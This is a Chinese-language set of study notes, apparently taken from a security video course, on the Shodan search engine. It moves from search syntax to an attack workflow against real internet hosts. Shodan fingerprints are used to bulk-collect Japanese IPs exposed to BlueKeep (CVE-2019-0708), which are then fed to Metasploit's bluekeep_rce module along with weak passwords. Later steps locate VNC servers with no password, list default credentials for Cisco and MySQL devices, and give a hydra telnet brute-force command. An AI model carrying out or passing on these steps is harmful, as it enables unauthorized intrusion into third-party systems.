声明
学习视频笔记均来自B站UP主" 泷羽sec",如涉及侵权马上删除文章
笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负
一、 shodan简介与安装使用
1.1 shodan简介
Shadan官网:https://www.shodan.io/
Shodan 是一个网络搜索引擎,专注于搜索互联网上连接的设备、服务和网络。shodan搜索引擎不同于百度、谷歌,它是专门搜网络设备的,包括电脑、摄像头、服务器、路由器等,很多东西只要联网的,只要有IP地址的都可以称为网络设备,shodan工作原理:在服务器上部署了各种扫描器,它们二十四小时不停的扫描。以下是 Shodan 的一些主要功能:
1.设备搜索:Shodan 允许用户通过关键字、IP地址、端口号等搜索连接到互联网的设备,包括摄像头、路由器、工控系统、服务器等。
2.服务搜索:用户可以搜索特定的网络服务,例如开放的FTP、SSH、HTTP等端口,查看连接到这些服务的设备,了解设备所提供的服务类型。
3.漏洞扫描:Shodan 提供漏洞扫描服务,用户可以使用该服务检查设备和服务是否存在已知的安全漏洞,这对于进行漏洞评估和安全审计非常有用。
4.可视化工具:Shodan 提供交互式的地图和图形工具,使用户能够以可视化方式探索互联网上的设备分布、服务分布和漏洞情况。
5.历史数据:用户可以查看设备和服务的历史数据,了解它们随时间的变化,这有助于追溯特定设备或服务的演变和安全状态。
6.API 支持:Shodan 提供 API,允许用户通过编程方式进行搜索和获取数据,使得用户能够自动化他们的工作流程,并集成 Shodan 数据到他们的安全工具中。
7.监视和提醒:用户可以设置监视规则,以便在发现满足特定条件的设备或服务时收到提醒,这有助于及时发现网络中的变化和潜在威胁。
8.搜索网络设备:Shodan 可以通过IP地址、端口号、国家、服务协议等条件,搜索各种以太网设备。
9.断层分析:用户可以按断层过滤设备信息,以了解特定地区的设备分配及其安全状态。
10.开放端口分析:分析设备的开放端口,帮助网络管理员识别潜在风险。
11.网络地图和报告:Shodan 提供详细的可视化报告和地图功能,帮助用户直观地了解网络安全情况。
1.2shodan工作原理
1.爬行互联网:Shodan部署了一个由扫描工具和传感器组成的庞大网络,这些工具持续扫描互联网,连接到各种IP地址并尝试识别开放端口和在其上运行的服务。
2.主动扫描:Shodan定期扫描全球网络的IP地址,使用多个端口进行扫描,例如80(HTTP)、443(HTTPS)、22(SSH)等常见端口。
3.数据采集:当Shodan的扫描工具发现IP地址上的开放端口时,它们会收集有关该端口上运行的设备或服务的信息。这包括设备类型、软件版本、横幅和其他元数据等详细信息。Shodan还收集设备的地理位置、组织和其他相关数据等信息。
4.收集信息:Shodan在扫描设备过程中会收集设备的服务信息,包括开放端口、操作系统版本、服务类型、SSL证书等。
5.建立数据库:将获取的信息整理成一个数据库,供用户通过关键词搜索特定类型的设备、网络漏洞和开放端口等。
6.搜索机制:Shodan提供了一个用户友好的搜索界面,允许用户使用各种搜索参数来搜索特定的设备或服务。用户可以输入搜索查询,根据设备类型、软件、位置、开放端口等过滤结果。Shodan的搜索语法使用户能够优化搜索,以准确找到他们想要的内容。
1.3在kali中安装shodan
1.安装命令:
git clone https://github.com/achillean/shodan-python.git
cd shodan-python
python setup.py install
shodan init api_key
在kali命令窗口克隆shoda cd命令切换进入到shodan-python 安装Shodan的Python库
初始化配置api_key(这个key是自己的账号里面的)key在Show里
1.4查看帮助文档
shodan -h
1.5使用搜索过滤
port:搜索指定的端口或服务,例如 port:"21" 用于搜索开放FTP服务的设备。
hostname:搜索指定的主机或域名,例如 hostname:"google"。
country:搜索指定的国家,例如 country:"CN"。
city:搜索指定的城市,例如 city:"Hefei"。
org:搜索指定的组织或公司,例如 org:"google"。
isp:搜索指定的ISP供应商,例如 isp:"China Telecom"。
product:搜索指定的操作系统/软件/平台,例如 product:"Apache httpd"。
version:搜索指定的软件版本,例如 version:"1.6.2"。
geo:搜索指定的地理位置,参数为经纬度,例如 geo:"31.8639, 117.2808"。
before/after:搜索指定收录时间前后的数据,格式为dd-mm-yy,例如 before:"11-11-15"。
net:搜索指定的IP地址或子网,例如 net:"210.45.240.0/24"。
--limit:限制搜索结果的数量,例如 --limit 10 表示只搜索10条信息资产。
--fields:过滤不重要的信息,例如 --fields ip_str,port 用于只显示IP和端口信息。
ip_str:结果用IPv4的状态输入。
color:搜索的信息标红,颜色加深的意思。
os:指定操作系统,例如 os:"windows 7"。
has_vuln:表示搜索存在漏洞的资产,例如 has_vuln:True。
device:搜索特定类型的设备,如 device:"webcam" 或 device:"router"。
1.6常见参数用法
search:表示搜索的意思
host:表示用于搜索包含指定ip的主机,例如shodan host ip
port:指定端口,例如port:3389
--limit 10:表示只搜索10条信息资产
--fields:表示过滤不重要的信息
ip_str:表示结果用成为ipv4的状态输入
color:表示颜色加深输出
country:表示国家地区,例如country:cn
city:表城市,例如city:shenzhen
1.7常见shodan命令
1.7.1 search命令
例1 按国家搜索:shodan search --limit 10 country:jp
shodan search:执行搜索操作
--limit 10:限制搜索结果为10条
country:jp 搜索结果限制在日本 (jp为日本的国家代码)
shodan host ip 查看指定主机的相关信息,如地理位置、开放端口、可能存在的漏洞等信息。
例2 按ip(数值形式)、端口和国家搜索:
shodan search --limit 10 --fields ip,port country:jp
--fields ip,port:指定返回结果中应包含的字段,即IP地址和端口号。
例3 按ip(字符串形式)、端口和国家搜索:
shodan search --limit 10 --fields ip_str,port country:jp
--fields ip_str,port:指定返回结果中应包含的字段,即IP地址(以字符串形式)和端口号。
数字IP地址
数字IP地址通常指的是IP地址的数值形式,即IP地址的十进制表示。它用于在网络中唯一标识一个设备或服务。
例4:country、city,增加国家和城市
shodan search --limit 10 --fields ip_str,port 443 country:cn city:beijing
例5:操作系统:os:windows7
shodan search --limit 10 --fields ip_str,port:80 country:jp os:windows7
例6:漏洞:has_vuln:True 表示可以扫描80端口的资产中,存在漏洞的资产
shodan search --limit 10 --fields ip_str,port:443 country:jp os:windows has_vuln:Ture
例7:web端的一些设备
设备:摄像头:device:webcam
设备:路由器:device:router
shodan search --limit 10 --fields ip_str,port:443 country:jp device:webcam
shodan search --limit 10 --fields ip_str,port:443 country:jpdevice:router
例8:查看下载帮助功能
shodan download -h
用法:shodan download[选项]<文件名><搜索查询
选项
--fields 文本:指定要下载的属性列表。
--limit 整数:设置下载结果数量,使用-1可以下载尽可能多的数据。
-h,--help:显示帮助信息并退出。
例9:下载文件
shodan download 0708 --limit 10 --fields ip_str,port ' "\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00" '
0708:查询ID或数据集的标识符,
--limit 10:限制下载的数据条目数为10条。
--fields ip str,port:指定要下载的字段,即IP地址和端号。
' "\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00" '包含特定十六进制字节值的字符串,用于过滤下z载数据的条件
例10:查看解析帮助功能
shodan parse -h
用法:shodanparse[选项] <文件名>:
--color/--no-color
--fields 文本:指定要输出的属性列表。-f,--fi1ters 文本:使用键值对过滤特定值的结果。
-o,--filename 文本:将过滤后的结果保存在指定文件中。
--separator 文本:定义搜索结果属性之间的分隔符。-h,--help:显示帮助信息并退出。
例11:解析文件
shodan parse --fields ip_str 0708.json > 0708.txt
shodan parse:解析下载的Shodan数据文件。
--fields ip_str:指定要解析并输出的字段,即IP地址。
0708.json:之前使用shodan download
命令下载的JSON文件。
> 0708.txt:将解析结果输出到0708.txt
文件中。
例12:统计匹配结果数量
shodan count '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"'
shodan:指定要使用的服务是Shodan。
count:返回与搜索查询匹配的结果数量。
'"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"':十六进制编码的字符串,用于匹配特定的网络协议数据包、设备指纹或其他网络通信特征。
例13:搜索特定漏洞
shodan search --limit 10 --fields ip_str vuln:CVE-2019-0708 country:jp
vuln:CVE-2019-0708:搜索具有特定漏洞的设备。country:jp:搜索结果限定在日本。(应该是没有权限不让搜索)
二、批量查找并验证CVE-2019-0708漏洞
1、漏洞原理
在存在漏洞的远程桌面服务器上,当接收到特定格式的数据包时,会释放一个内部通道 MS-T120 的控制结构体。此时,指向该结构体的指针未被清除,导致攻击者可以重新占用被释放的 MS-T120 结构体,并将适当的值赋给结构体内的函数指针,从而实现远程命令执行。
内部信道定义与分类
定义:内部信道是指在设备、系统或网络内部用于信息传输的通道。
分类:
1.逻辑信道:在设备或系统内部承载不同类型信息的逻辑通道。
2.物理信道:实际存在的物理连接(如导线、光纤等),用于在设备内部或不同设备间传输信息。
2、CVE-2019-0708 漏洞分析
CVE-2019-0708,也被称为 BlueKeep 漏洞,是一个影响 Microsoft Windows 的远程代码执行漏洞,主要存在于远程桌面协议 (RDP) 服务中。该漏洞允许未经身份验证的攻击者通过发送特制数据包,远程执行代码。影响版本:
Windows 7、Windows Server 2008、Windows Server 2008 R2、Windows Server 2003、Windows XP
3、漏洞指纹
以下是 CVE-2019-0708 漏洞特征的十六进制表示:
‘”\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00”’ 十六进制漏洞特征,cve漏洞特征网上还有很多,可以举一反三;
"\x03" : 此字节表示有效负载的类型。在这种情况下,它指示有效负载是 “Client Core Data” 消息 。>> Client Core Data :可以解释为客户端的核心数据;
“\x00” :此字节表示与有效负载关联的标志。在这种情况下,它表示没有设置其他标志
“\x00\x0b” :这两个字节表示有效负载的长度。在这种情况下,它表示 有效负载的长度为 11 字节 。
“\x06\xd0” :这两个字节表示与负载关联的通道 ID。在这种情况下,它表示 有效负载适用于“rdpdr”通道 ,该通道用于 RDP 中的驱动器重定向 。>> rdpdr :通过RDPDR通道,用户可以在远程会话中访问和操作本地设备,实现设备资源的共享和利用。
“\x00\x00” :这两个字节表示数据包序列号。在这种情况下,它表示 数据包序列号为 0
“\x124\x00” :这三个字节表示负载数据。在这种情况下,它是可以触发 RDP 协议中漏洞的字节序列。
4、漏洞验证方法
以下是验证 CVE-2019-0708 漏洞存在的几种方法
方法一:
使用 Shodan 搜索特定的漏洞指纹:这条命令针对特定的漏洞特征进行搜索。
shodan search --limit 10 --fields ip_str,port '"/x03/x00/x00/x0b/x06/xd0/x00/x00/x124/x00"'方法二:
基于关键字Remote Desktop Protocol 进行搜索:该方法有误差,返回结果很多没漏洞,不如方法一
shodan search --limit 10 --fields ip_str,port "port:3389 Remote Desktop Protocol"方法三:
使用 Shodan 的漏洞搜索功能:此方法直接查找已知存在该漏洞的设备,权限不够。
shodan search --limit 10 --fields ip_str vuln:"CVE-2019-0708"
5、漏洞收集
1、利用'"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"'特征搜索漏洞
shodan search --limit 10 --fields ip_str,port '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' country:jp
2、批量扫描出来ip之后,用远程桌面连接扫描验证漏洞是否存在,然后尝试用弱口令:Administrator,Administrator,进行验证
3、批量验证漏洞
1.用收集到的资产生成一个.txt,
2.打开kali自带的msfconsole工具进行检测
3.msfconsole命令: search cve-2019-0708:search 0708
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
查询命令是 options:show options
配置攻击IP命令是 set:set rhosts file:拖入ip地址文件
(拉入.txt文件之后,回车就可以 最后一步check)
4、资产批量下载并解析
parse(解析)和download(下载)这两个参数
shodan download --help:查看download帮助文档
shodan download 0708 --limit 10 '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' country:jp(下载的是10条漏洞给信息的资产,download后面跟着的0708是下载的文件名)
shodan parse -h
shodan parse --fields ip_str 0708
此时下载好的文件信息就都可以看得见了
shodan parse --fields ip_str 0708>0708.txt :重定向为一个txt文件,但是也可以用windows的解压工具解压
最后也可以用shodan search vuln:CVE-2019-0708,这条命令去搜,但是这个是要高级账号,所以我们用的'"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' 就是绕过这个vuln,进行搜索
如果攻击不成功有几个点给大家说一下,首先:show options看清我们的这个payload,ip端口要填对,在一个是show targets支持windows7,sever这种,你得把targets设置正确。
三、shodan利用漏洞远程连接nvc
1、概念
VNC(Virtual Network Computing)是虚拟网络计算的缩写,它是一种远程桌面共享与控制技术,允许用户通过网络远程访问和控制另一台计算机的桌面界面。
安全性:VNC本身提供了基本的安全保障,如 访问密码设置等。在实际使用过程中,用户仍需采取额外措施以确保数据传输的安全性,如 使用加密通信协议 等。
技术特点 跨平台性:VNC支持多种操作系统,包括 Windows 、 macOS 和Linux ,使得不同平台之间的远程访问变得简单。简单易用:用户只需在两台计算机上安装VNC软件即可进行远程控制。
高效性:VNC技术基于图像传输,即使 在网络速度较慢的情况下也能提供流畅的远程控制体验 。
2、shodan搜索空密码VNC
shodan search --limit 10 --fields ip_str country:jp
"authentication disabled" port:5900
“Authentication disabled” >>这一术语通常表示某种形式的身份验证功能已被禁用。
port:5900 >>是这一漏洞的必要条件,如果5900端口不开启,那么空密码vnc大概率不存在
扫描出的ip不一定每个都可以用,这主要是因为shodan的信息具有一定的滞后性.
MSF爆破VNC弱口令("现在收获,以后解密")
3、vnc空密码漏洞
shodan search --limit 10 --fields ip_str "authentication disabled" port:5900 country:jp
找符合5900端口nvc空密码,然后用vnc软件尝试对资产进行空密码连接,看到下面的warn就基本是稳了
shodan search download --limit 100 "authentication disabled" port:5900 country:jp
批量下载资产下来
shodan parse --fields ip_str 文件包>nvc.txt
搜索出来的资产重定向到.txt文件
然后还是按照msfconsole同样的方法进行检测就可以
4、攻击流程
1.打开kali,通过命令 msfconsole 进入Metasploit
2.寻找相应模块,命令是 search vnc_login
3.这个模块只有一个,所以直接 use 0
4.通过 options 命令查看相关配置:show options
5.需要手动配置的只有一个 rhost ,按需配置即可
6.配置完成之后,通过命令 run 或 exploit 开始攻击
特定IP历史解析记录查询
shodan host ip --history >>可以查询到端口的历史开放情况
四、shodan搜索弱口令设备
1. shodan myip:查看自己的出口ip
2.利用shodan找被挂黑的网站,然后访问ip地址就可以看到被挂黑网页
shodan search --limit 10 --fields ip_str,port http.title:hacked by3.精确到城市资产
shodan search --limit 10 --fields ip_str,port http.title:hacked by country:jp
shodan search --limit 10 --fields ip_str,port http.title:hacked by country:jp city:dongjing
4.拓展其他关键字,比如棋牌,后台,mysql等等
shodan search --limit 10 --fields ip_str,port http.title:mysql country:jp5.搜网络设备 cisco -authored port:23 :网络设备的关键字
shodan search --limit 10 --fields ip_str,port "cisco -authored port:23"
弱口令:Username:admin/cisco Password:cisco
shodan search --limit 10 --fields ip_str,port country:jp "mysql -authorired port:3306"
6.九头蛇(可以利用九头蛇进去暴力破解账号密码):
hydra -s 23 -V -L name.txt -P password.txt -t 16 -M kl.txt telnet